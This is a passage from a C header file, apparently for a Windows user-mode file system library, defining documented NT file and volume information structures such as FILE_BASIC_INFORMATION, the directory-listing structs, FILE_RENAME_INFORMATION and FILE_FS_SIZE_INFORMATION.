* The absolute new end of file position as a byte offset from the start of the file. \n  */\n  LARGE_INTEGER EndOfFile;\n} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;\n\n/**\n * \\struct FILE_VALID_DATA_LENGTH_INFORMATION\n * \\brief Used as an argument to ZwSetInformationFile.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileValidDataLengthInformation\n */\ntypedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {\n  /**\n  * Specifies the new valid data length for the file.\n  * This parameter must be a positive value that is greater than the current valid data length, but less than or equal to the current file size. \n  */\n  LARGE_INTEGER ValidDataLength;\n} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;\n\n/**\n * \\struct FILE_BASIC_INFORMATION\n * \\brief Used as an argument to routines that query or set file information.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileBasicInformation and FileAllInformation\n */\ntypedef struct _FILE_BASIC_INFORMATION {\n  /**\n  * Specifies the time that the file was created. \n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Specifies the time that the file was last accessed. \n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Specifies the time that the file was last written to. \n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Specifies the last time the file was changed. \n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Specifies one or more FILE_ATTRIBUTE_XXX flags. For descriptions of these flags,\n  * see the documentation for the GetFileAttributes function in the Microsoft Windows SDK.\n  */\n  ULONG FileAttributes;\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;\n\n/**\n * \\struct FILE_STANDARD_INFORMATION\n * \\brief Used as an argument to routines that query or set file information.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileStandardInformation and FileAllInformation\n */\ntypedef struct _FILE_STANDARD_INFORMATION {\n  /**\n  * The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. \n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  * The end of file location as a byte offset.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * The number of hard links to the file.\n  */\n  ULONG NumberOfLinks;\n  /**\n  * The delete pending status. TRUE indicates that a file deletion has been requested.\n  */\n  BOOLEAN DeletePending;\n  /**\n  * The file directory status. TRUE indicates the file object represents a directory. \n  */\n  BOOLEAN Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\n/**\n * \\struct FILE_POSITION_INFORMATION\n * \\brief Used as an argument to routines that query or set file information.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FilePositionInformation and FileAllInformation\n */\ntypedef struct _FILE_POSITION_INFORMATION {\n  /**\n  * The byte offset of the current file pointer.\n  */\n  LARGE_INTEGER CurrentByteOffset;\n} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;\n\n/**\n * \\struct FILE_DIRECTORY_INFORMATION\n * \\brief Used to query detailed information for the files in a directory. \n */\ntypedef struct _FILE_DIRECTORY_INFORMATION {\n  /**\n  * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer.\n  * This member is zero if no other entries follow this one. \n  */\n  ULONG NextEntryOffset;\n  /**\n  * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n  * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. \n  */\n  ULONG FileIndex;\n  /**\n  * Time when the file was created.\n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Last time the file was accessed. \n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Last time information was written to the file.\n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Last time the file was changed. \n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Absolute new end-of-file position as a byte offset from the start of the file.\n  * EndOfFile specifies the byte offset to the end of the file.\n  * Because this value is zero-based, it actually refers to the first free byte in the file. In other words,\n  * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. \n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  *  File attributes, which can be any valid combination of the following:\n  *\n  *    \\li \\c FILE_ATTRIBUTE_READONLY\n  *    \\li \\c FILE_ATTRIBUTE_HIDDEN\n  *    \\li \\c FILE_ATTRIBUTE_SYSTEM\n  *    \\li \\c FILE_ATTRIBUTE_DIRECTORY\n  *    \\li \\c FILE_ATTRIBUTE_ARCHIVE\n  *    \\li \\c FILE_ATTRIBUTE_NORMAL\n  *    \\li \\c FILE_ATTRIBUTE_TEMPORARY\n  *    \\li \\c FILE_ATTRIBUTE_COMPRESSED\n  */\n  ULONG FileAttributes;\n  /**\n  * Specifies the length of the file name string. \n  */\n  ULONG FileNameLength;\n  /**\n  * Specifies the first character of the file name string.\n  * This is followed in memory by the remainder of the string. \n  */\n  WCHAR FileName[1];\n} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;\n\n/**\n * \\struct FILE_FULL_DIR_INFORMATION\n * \\brief Used to query detailed information for the files in a directory. \n */\ntypedef struct _FILE_FULL_DIR_INFORMATION {\n  /**\n  * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer.\n  * This member is zero if no other entries follow this one.\n  */\n  ULONG NextEntryOffset;\n  /**\n  * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n  * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n  */\n  ULONG FileIndex;\n  /**\n  * Time when the file was created.\n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Last time the file was accessed.\n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Last time information was written to the file.\n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Last time the file was changed.\n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Absolute new end-of-file position as a byte offset from the start of the file.\n  * EndOfFile specifies the byte offset to the end of the file.\n  * Because this value is zero-based, it actually refers to the first free byte in the file. In other words,\n  * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.\n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  *  File attributes, which can be any valid combination of the following:\n  *\n  *   \\li \\c FILE_ATTRIBUTE_READONLY\n  *   \\li \\c FILE_ATTRIBUTE_HIDDEN\n  *   \\li \\c FILE_ATTRIBUTE_SYSTEM\n  *   \\li \\c FILE_ATTRIBUTE_DIRECTORY\n  *   \\li \\c FILE_ATTRIBUTE_ARCHIVE\n  *   \\li \\c FILE_ATTRIBUTE_NORMAL\n  *   \\li \\c FILE_ATTRIBUTE_TEMPORARY\n  *   \\li \\c FILE_ATTRIBUTE_COMPRESSED\n  */\n  ULONG FileAttributes;\n  /**\n  * Specifies the length of the file name string.\n  */\n  ULONG FileNameLength;\n  /**\n  * Combined length, in bytes, of the extended attributes (EA) for the file. \n  */\n  ULONG EaSize;\n  /**\n  * Specifies the first character of the file name string.\n  * This is followed in memory by the remainder of the string.\n  */\n  WCHAR FileName[1];\n} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;\n\n/**\n * \\struct FILE_ID_FULL_DIR_INFORMATION\n * \\brief Used to query detailed information for the files in a directory.\n */\ntypedef struct _FILE_ID_FULL_DIR_INFORMATION {\n  /**\n  * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer.\n  * This member is zero if no other entries follow this one.\n  */\n  ULONG NextEntryOffset;\n  /**\n  * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n  * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n  */\n  ULONG FileIndex;\n  /**\n  * Time when the file was created.\n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Last time the file was accessed.\n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Last time information was written to the file.\n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Last time the file was changed.\n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Absolute new end-of-file position as a byte offset from the start of the file.\n  * EndOfFile specifies the byte offset to the end of the file.\n  * Because this value is zero-based, it actually refers to the first free byte in the file. In other words,\n  * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.\n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  *  File attributes, which can be any valid combination of the following:\n  *\n  *   \\li \\c FILE_ATTRIBUTE_READONLY\n  *   \\li \\c FILE_ATTRIBUTE_HIDDEN\n  *   \\li \\c FILE_ATTRIBUTE_SYSTEM\n  *   \\li \\c FILE_ATTRIBUTE_DIRECTORY\n  *   \\li \\c FILE_ATTRIBUTE_ARCHIVE\n  *   \\li \\c FILE_ATTRIBUTE_NORMAL\n  *   \\li \\c FILE_ATTRIBUTE_TEMPORARY\n  *   \\li \\c FILE_ATTRIBUTE_COMPRESSED\n  */\n  ULONG FileAttributes;\n  /**\n  * Specifies the length of the file name string.\n  */\n  ULONG FileNameLength;\n  /**\n  * Combined length, in bytes, of the extended attributes (EA) for the file.\n  */\n  ULONG EaSize;\n  /**\n  * The 8-byte file reference number for the file. (Note that this is not the same as the 16-byte\n  * \"file object ID\" that was added to NTFS for Microsoft Windows 2000.) \n  */\n  LARGE_INTEGER FileId;\n  /**\n  * Specifies the first character of the file name string.\n  * This is followed in memory by the remainder of the string.\n  */\n  WCHAR FileName[1];\n} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;\n\n/**\n * \\struct FILE_BOTH_DIR_INFORMATION\n * \\brief Used to query detailed information for the files in a directory.\n */\ntypedef struct _FILE_BOTH_DIR_INFORMATION {\n  /**\n  * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer.\n  * This member is zero if no other entries follow this one.\n  */\n  ULONG NextEntryOffset;\n  /**\n  * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n  * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n  */\n  ULONG FileIndex;\n  /**\n  * Time when the file was created.\n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Last time the file was accessed.\n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Last time information was written to the file.\n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Last time the file was changed.\n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Absolute new end-of-file position as a byte offset from the start of the file.\n  * EndOfFile specifies the byte offset to the end of the file.\n  * Because this value is zero-based, it actually refers to the first free byte in the file. In other words,\n  * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.\n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  *  File attributes, which can be any valid combination of the following:\n  *\n  *   \\li \\c FILE_ATTRIBUTE_READONLY\n  *   \\li \\c FILE_ATTRIBUTE_HIDDEN\n  *   \\li \\c FILE_ATTRIBUTE_SYSTEM\n  *   \\li \\c FILE_ATTRIBUTE_DIRECTORY\n  *   \\li \\c FILE_ATTRIBUTE_ARCHIVE\n  *   \\li \\c FILE_ATTRIBUTE_NORMAL\n  *   \\li \\c FILE_ATTRIBUTE_TEMPORARY\n  *   \\li \\c FILE_ATTRIBUTE_COMPRESSED\n  */\n  ULONG FileAttributes;\n  /**\n  * Specifies the length of the file name string.\n  */\n  ULONG FileNameLength;\n  /**\n  * Combined length, in bytes, of the extended attributes (EA) for the file.\n  */\n  ULONG EaSize;\n  /**\n  * Specifies the length, in bytes, of the short file name string. \n  */\n  CCHAR ShortNameLength;\n  /**\n  * Unicode string containing the short (8.3) name for the file. \n  */\n  WCHAR ShortName[12];\n  /**\n  * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. \n  */\n  WCHAR FileName[1];\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\n\n/**\n * \\struct FILE_ID_BOTH_DIR_INFORMATION\n * \\brief Used to query detailed information for the files in a directory.\n */\ntypedef struct _FILE_ID_BOTH_DIR_INFORMATION {\n  /**\n  * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer.\n  * This member is zero if no other entries follow this one.\n  */\n  ULONG NextEntryOffset;\n  /**\n  * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n  * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n  */\n  ULONG FileIndex;\n  /**\n  * Time when the file was created.\n  */\n  LARGE_INTEGER CreationTime;\n  /**\n  * Last time the file was accessed.\n  */\n  LARGE_INTEGER LastAccessTime;\n  /**\n  * Last time information was written to the file.\n  */\n  LARGE_INTEGER LastWriteTime;\n  /**\n  * Last time the file was changed.\n  */\n  LARGE_INTEGER ChangeTime;\n  /**\n  * Absolute new end-of-file position as a byte offset from the start of the file.\n  * EndOfFile specifies the byte offset to the end of the file.\n  * Because this value is zero-based, it actually refers to the first free byte in the file. In other words,\n  * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n  */\n  LARGE_INTEGER EndOfFile;\n  /**\n  * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.\n  */\n  LARGE_INTEGER AllocationSize;\n  /**\n  *  File attributes, which can be any valid combination of the following:\n  *\n  *   \\li \\c FILE_ATTRIBUTE_READONLY\n  *   \\li \\c FILE_ATTRIBUTE_HIDDEN\n  *   \\li \\c FILE_ATTRIBUTE_SYSTEM\n  *   \\li \\c FILE_ATTRIBUTE_DIRECTORY\n  *   \\li \\c FILE_ATTRIBUTE_ARCHIVE\n  *   \\li \\c FILE_ATTRIBUTE_NORMAL\n  *   \\li \\c FILE_ATTRIBUTE_TEMPORARY\n  *   \\li \\c FILE_ATTRIBUTE_COMPRESSED\n  */\n  ULONG FileAttributes;\n  /**\n  * Specifies the length of the file name string.\n  */\n  ULONG FileNameLength;\n  /**\n  * Combined length, in bytes, of the extended attributes (EA) for the file.\n  */\n  ULONG EaSize;\n  /**\n  * Specifies the length, in bytes, of the short file name string.\n  */\n  CCHAR ShortNameLength;\n  /**\n  * Unicode string containing the short (8.3) name for the file.\n  */\n  WCHAR ShortName[12];\n  /**\n  * The 8-byte file reference number for the file. This number is generated and assigned to the file by the file system. \n  * (Note that the FileId is not the same as the 16-byte \"file object ID\" that was added to NTFS for Microsoft Windows 2000.) \n  */\n  LARGE_INTEGER FileId;\n  /**\n  * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. \n  */\n  WCHAR FileName[1];\n} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;\n\n/**\n * \\struct FILE_ID_EXTD_BOTH_DIR_INFORMATION\n * \\brief Used to query detailed information for the files in a directory.\n */\ntypedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION {\n  /**\n   * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer.\n   * This member is zero if no other entries follow this one.\n   */\n  ULONG NextEntryOffset;\n  /**\n   * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n   * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n   */\n  ULONG FileIndex;\n  /**\n   * Time when the file was created.\n   */\n  LARGE_INTEGER CreationTime;\n  /**\n   * Last time the file was accessed.\n   */\n  LARGE_INTEGER LastAccessTime;\n  /**\n   * Last time information was written to the file.\n   */\n  LARGE_INTEGER LastWriteTime;\n  /**\n   * Last time the file was changed.\n   */\n  LARGE_INTEGER ChangeTime;\n  /**\n   * Absolute new end-of-file position as a byte offset from the start of the file.\n   * EndOfFile specifies the byte offset to the end of the file.\n   * Because this value is zero-based, it actually refers to the first free byte in the file. In other words,\n   * EndOfFile is the offset to the byte immediately following the last valid byte in the file.\n   */\n  LARGE_INTEGER EndOfFile;\n  /**\n   * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device.\n   */\n  LARGE_INTEGER AllocationSize;\n  /**\n   *  File attributes, which can be any valid combination of the following:\n   *\n   *   \\li \\c FILE_ATTRIBUTE_READONLY\n   *   \\li \\c FILE_ATTRIBUTE_HIDDEN\n   *   \\li \\c FILE_ATTRIBUTE_SYSTEM\n   *   \\li \\c FILE_ATTRIBUTE_DIRECTORY\n   *   \\li \\c FILE_ATTRIBUTE_ARCHIVE\n   *   \\li \\c FILE_ATTRIBUTE_NORMAL\n   *   \\li \\c FILE_ATTRIBUTE_TEMPORARY\n   *   \\li \\c FILE_ATTRIBUTE_COMPRESSED\n   */\n  ULONG FileAttributes;\n  /**\n   * Specifies the length of the file name string.\n   */\n  ULONG FileNameLength;\n  /**\n   * Combined length, in bytes, of the extended attributes (EA) for the file.\n   */\n  ULONG EaSize;\n  /**\n   * Tag value for the reparse point.\n   */\n  ULONG ReparsePointTag;\n  /**\n   * The 128-byte file reference number for the file. This number is generated and assigned to the file by the file system.\n   */\n  FILE_ID_128 FileId;\n  /**\n   * Specifies the length, in bytes, of the short file name string.\n   */\n  CCHAR ShortNameLength;\n  /**\n   * Unicode string containing the short (8.3) name for the file.\n   */\n  WCHAR ShortName[12];\n  /**\n   * Specifies the first character of the file name string. This is followed in memory by the remainder of the string.\n   */\n  WCHAR FileName[1];\n} FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION;\n\n/**\n * \\struct FILE_NAMES_INFORMATION\n * \\brief Used to query detailed information about the names of files in a directory.\n */\ntypedef struct _FILE_NAMES_INFORMATION {\n  /**\n  * Byte offset for the next FILE_NAMES_INFORMATION entry, if multiple entries are present in a buffer.\n  * This member is zero if no other entries follow this one. \n  */\n  ULONG NextEntryOffset;\n  /**\n  * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n  * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. \n  */\n  ULONG FileIndex;\n  /**\n  * Specifies the length of the file name string. \n  */\n  ULONG FileNameLength;\n  /**\n  * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. \n  */\n  WCHAR FileName[1];\n} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;\n\n#define ANSI_DOS_STAR ('<')\n#define ANSI_DOS_QM ('>')\n#define ANSI_DOS_DOT ('\"')\n\n#define DOS_STAR (L'<')\n#define DOS_QM (L'>')\n#define DOS_DOT (L'\"')\n\n/**\n * \\struct FILE_INTERNAL_INFORMATION\n * \\brief Used to query for the file system's 8-byte file reference number for a file. \n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileInternalInformation\n */\ntypedef struct _FILE_INTERNAL_INFORMATION {\n  /**\n  * The 8-byte file reference number for the file. This number is assigned by the file system and is file-system-specific.\n  * (Note that this is not the same as the 16-byte \"file object ID\" that was added to NTFS for Microsoft Windows 2000.) \n  */\n  LARGE_INTEGER IndexNumber;\n} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;\n\n/**\n * \\struct FILE_ID_INFORMATION\n * \\brief Contains identification information for a file.\n *\n * This structure is returned from the GetFileInformationByHandleEx function when FileIdInfo is passed in the FileInformationClass parameter.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileIdInformation\n */\ntypedef struct _FILE_ID_INFORMATION {\n  /**\n  * The serial number of the volume that contains a file.\n  */\n  ULONGLONG VolumeSerialNumber;\n  /**\n  * The 128-bit file identifier for the file. The file identifier and the volume serial number uniquely identify a file on a single computer.\n  * To determine whether two open handles represent the same file, combine the identifier and the volume serial number for each file and compare them.\n  */\n  FILE_ID_128 FileId;\n} FILE_ID_INFORMATION, *PFILE_ID_INFORMATION;\n\n/**\n * \\struct FILE_EA_INFORMATION\n * \\brief Used to query for the size of the extended attributes (EA) for a file.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileEaInformation and FileAllInformation\n */\ntypedef struct _FILE_EA_INFORMATION {\n  /**\n  * Specifies the combined length, in bytes, of the extended attributes for the file.\n  */\n  ULONG EaSize;\n} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;\n\n/**\n * \\struct FILE_ACCESS_INFORMATION\n * \\brief Used to query for or set the access rights of a file.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation\n */\ntypedef struct _FILE_ACCESS_INFORMATION {\n  /**\n  * Flags that specify a set of access rights in the access mask of an access control entry.\n  * This member is a value of type ACCESS_MASK.\n  */\n  ACCESS_MASK AccessFlags;\n} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;\n\n/**\n * \\struct FILE_MODE_INFORMATION\n * \\brief Used to query or set the access mode of a file.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation\n */\ntypedef struct _FILE_MODE_INFORMATION {\n  /**\n  *  Specifies the mode in which the file will be accessed following a create-file or open-file operation.\n  *  This parameter is either zero or the bitwise OR of one or more of the following file option flags:\n  *\n  *  \\li \\c FILE_WRITE_THROUGH\n  *  \\li \\c FILE_SEQUENTIAL_ONLY\n  *  \\li \\c FILE_NO_INTERMEDIATE_BUFFERING\n  *  \\li \\c FILE_SYNCHRONOUS_IO_ALERT\n  *  \\li \\c FILE_SYNCHRONOUS_IO_NONALERT\n  *  \\li \\c FILE_DELETE_ON_CLOSE\n  */\n  ULONG Mode;\n} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;\n\n/**\n * \\struct FILE_ALL_INFORMATION\n * \\brief Structure is a container for several FILE_XXX_INFORMATION structures.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation\n */\ntypedef struct _FILE_ALL_INFORMATION {\n  /** \\see FILE_BASIC_INFORMATION */\n  FILE_BASIC_INFORMATION BasicInformation;\n  /** \\see FILE_STANDARD_INFORMATION */\n  FILE_STANDARD_INFORMATION StandardInformation;\n  /** \\see FILE_INTERNAL_INFORMATION */\n  FILE_INTERNAL_INFORMATION InternalInformation;\n  /** \\see FILE_EA_INFORMATION */\n  FILE_EA_INFORMATION EaInformation;\n  /** \\see FILE_ACCESS_INFORMATION */\n  FILE_ACCESS_INFORMATION AccessInformation;\n  /** \\see FILE_POSITION_INFORMATION */\n  FILE_POSITION_INFORMATION PositionInformation;\n  /** \\see FILE_MODE_INFORMATION */\n  FILE_MODE_INFORMATION ModeInformation;\n  /** \\see FILE_ALIGNMENT_INFORMATION */\n  FILE_ALIGNMENT_INFORMATION AlignmentInformation;\n  /** \\see FILE_NAME_INFORMATION */\n  FILE_NAME_INFORMATION NameInformation;\n} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;\n\n/**\n * \\struct FILE_ALLOCATION_INFORMATION\n * \\brief Used to set the allocation size for a file. \n *\n * The struct is requested during IRP_MJ_SET_INFORMATION with query FileAllocationInformation\n */\ntypedef struct _FILE_ALLOCATION_INFORMATION {\n  /**\n  * File allocation size, in bytes. Usually this value is a multiple\n  * of the sector or cluster size of the underlying physical device. \n  */\n  LARGE_INTEGER AllocationSize;\n} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;\n\n/**\n * \\struct FILE_LINK_INFORMATION\n * \\brief Used to create an NTFS hard link to an existing file.\n *\n * The struct is requested during IRP_MJ_SET_INFORMATION with query FileLinkInformation\n */\ntypedef struct _FILE_LINK_INFORMATION {\n  /**\n  * Set to TRUE to specify that if the link already exists, it should be replaced with the new link.\n  * Set to FALSE if the link creation operation should fail if the link already exists. \n  */\n  BOOLEAN ReplaceIfExists;\n  /**\n  * If the link is to be created in the same directory as the file that is being linked to,\n  * or if the FileName member contains the full pathname for the link to be created, this is NULL.\n  * Otherwise it is a handle for the directory where the link is to be created.\n  */\n  HANDLE RootDirectory;\n  /**\n  * Length, in bytes, of the file name string. \n  */\n  ULONG FileNameLength;\n  /**\n  * The first character of the name to be assigned to the newly created link.\n  * This is followed in memory by the remainder of the string.\n  * If the RootDirectory member is NULL and the link is to be created in a different directory from the file that is being linked to,\n  * this member specifies the full pathname for the link to be created. Otherwise, it specifies only the file name.\n  * (See the Remarks section for ZwQueryInformationFile for details on the syntax of this file name string.) \n  */\n  WCHAR FileName[1];\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\n\n/**\n * \\struct FILE_RENAME_INFORMATION\n * \\brief Used to rename a file.\n *\n * The struct is requested during IRP_MJ_SET_INFORMATION with query FileRenameInformation\n */\ntypedef struct _FILE_RENAME_INFORMATION {\n  /**\n  * Set to TRUE to specify that if a file with the given name already exists, it should be replaced with the given file.\n  * Set to FALSE if the rename operation should fail if a file with the given name already exists. \n  */\n  BOOLEAN ReplaceIfExists;\n  /**\n  * If the file is not being moved to a different directory,\n  * or if the FileName member contains the full pathname, this member is NULL. Otherwise,\n  * it is a handle for the root directory under which the file will reside after it is renamed. \n  */\n  HANDLE RootDirectory;\n  /**\n  * Length, in bytes, of the new name for the file. \n  */\n  ULONG FileNameLength;\n  /**\n  * The first character of a wide-character string containing the new name for the file.\n  * This is followed in memory by the remainder of the string. If the RootDirectory member is NULL,\n  * and the file is being moved to a different directory, this member specifies the full pathname to be assigned to the file.\n  * Otherwise, it specifies only the file name or a relative pathname. \n  */\n  WCHAR FileName[1];\n} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;\n\n/**\n * \\struct FILE_STREAM_INFORMATION\n * \\brief Used to enumerate the streams for a file. \n *\n * The struct is requested during IRP_MJ_SET_INFORMATION query FileStreamInformation\n */\ntypedef struct _FILE_STREAM_INFORMATION {\n  /**\n  * The offset of the next FILE_STREAM_INFORMATION entry.\n  * This member is zero if no other entries follow this one. \n  */\n  ULONG NextEntryOffset;\n  /**\n  * Length, in bytes, of the StreamName string. \n  */\n  ULONG StreamNameLength;\n  /**\n  * Size, in bytes, of the stream. \n  */\n  LARGE_INTEGER StreamSize;\n  /**\n  * File stream allocation size, in bytes. Usually this value is a multiple of the sector\n  * or cluster size of the underlying physical device. \n  */\n  LARGE_INTEGER StreamAllocationSize;\n  /**\n  * Unicode string that contains the name of the stream. \n  */\n  WCHAR StreamName[1];\n} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;\n\n/**\n * \\struct FILE_FS_LABEL_INFORMATION\n * \\brief Used to set the label for a file system volume. \n *\n * The struct is requested during IRP_MJ_SET_VOLUME_INFORMATION query FileFsLabelInformation\n */\ntypedef struct _FILE_FS_LABEL_INFORMATION {\n  /**\n  * Length, in bytes, of the name for the volume. \n  */\n  ULONG VolumeLabelLength;\n  /**\n  * Name for the volume. \n  */\n  WCHAR VolumeLabel[1];\n} FILE_FS_LABEL_INFORMATION, *PFILE_FS_LABEL_INFORMATION;\n\n/**\n * \\struct FILE_FS_VOLUME_INFORMATION\n * \\brief Used to query information about a volume on which a file system is mounted. \n *\n * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsVolumeInformation\n */\ntypedef struct _FILE_FS_VOLUME_INFORMATION {\n  /**\n  * Time when the volume was created. \n  */\n  LARGE_INTEGER VolumeCreationTime;\n  /**\n  * Serial number of the volume. \n  */\n  ULONG VolumeSerialNumber;\n  /**\n  * Length, in bytes, of the name of the volume. \n  */\n  ULONG VolumeLabelLength;\n  /**\n  * TRUE if the file system supports object-oriented file system objects, FALSE otherwise. \n  */\n  BOOLEAN SupportsObjects;\n  /**\n  * Name of the volume. \n  */\n  WCHAR VolumeLabel[1];\n} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION;\n\n/**\n * \\struct FILE_FS_SIZE_INFORMATION\n * \\brief Used to query sector size information for a file system volume. \n *\n * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsSizeInformation\n */\ntypedef struct _FILE_FS_SIZE_INFORMATION {\n  /**\n  * Total number of allocation units on the volume that are available to the user associated with the calling thread. \n  * If per-user quotas are in use, this value may be less than the total number of allocation units on the disk. \n  */\n  LARGE_INTEGER TotalAllocationUnits;\n  /**\n  * Total number of free allocation units on the volume that are available to the user associated with the calling thread.\n  * If per-user quotas are in use, this value may be less than the total number of free allocation units on the disk.\n  */\n  LARGE_INTEGER AvailableAllocationUnits;\n  /**\n  * Number of sectors in each allocation unit.\n  */\n  ULONG SectorsPerAllocationUnit;\n  /**\n  * Number of bytes in each sector.\n  */\n  ULONG BytesPerSector;\n} FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION;\n\n/**\n * \\struct FILE_FS_FULL_SIZE_INFORMATION\n * \\brief Used to query sector size information for a file system volume. \n *\n * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsFullSizeInformation\n */\ntypedef struct _FILE_FS_FULL_SIZE_INFORMATION {\n  /**\n  * Total number of allocation units on the volume that are available to the user associated with the calling thread.\n  * If per-user quotas are in use, this value may be less than the total number of allocation units on the disk.\n  */\n  LARGE_INTEGER TotalAllocationUnits;\n  /**\n  * Total number of free allocation units on the volume that are available to the user associated with the calling thread.\n  * If per-user quotas are in use, this value may be less than the total number of free allocation units on the disk.\n  */\n  LARGE_INTEGER CallerAvailableAllocationUnits;\n  /**\n  * Total number of free allocation units on the volume. \n  */\n  LARGE_INTEGER ActualAvailableAllocationUnits;\n  /**\n  * Number of sectors in each allocation unit. \n  */\n  ULONG SectorsPerAllocationUnit;\n  /**\n  * 